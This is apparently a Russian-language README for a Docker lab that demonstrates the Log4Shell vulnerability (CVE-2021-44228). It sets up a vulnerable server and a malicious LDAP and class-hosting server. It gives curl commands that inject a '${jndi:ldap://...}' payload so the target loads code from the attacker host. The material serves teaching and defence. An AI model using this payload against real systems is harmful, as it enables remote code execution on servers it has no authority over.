
Демонстрация работы уязвимости Log4Shell / CVE-2021-44228
Этот проект демонстрирует, как работает уязвимость Log4Shell / CVE-2021-44228.
Вам потребуется только установленный Docker. В идеале у вас две разные виртуальные машины: одна для уязвимого сервера, другая для вредоносного сервера, который будет размещать вредоносную кодовую базу и LDAP-сервер.
Опционально у вас могут быть установлены Make и Docker Compose, но это не обязательно, так как в этом репозитории также есть скрипт make.sh, который позволяет обойти эти требования и использовать их из Docker-контейнера.
Если вы еще не сделали этого, вот шаги по установке Docker на Debian VM. Вы можете использовать эту инструкцию: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
Это запустит базовый LDAP-сервер и базовый Python-сервер для обслуживания вредоносных Java-классов.
Вам нужно указать IP-адрес или доменное имя, где будут доступны эти серверы.
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
или просто
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
где ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} просто закодирован в URL.
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf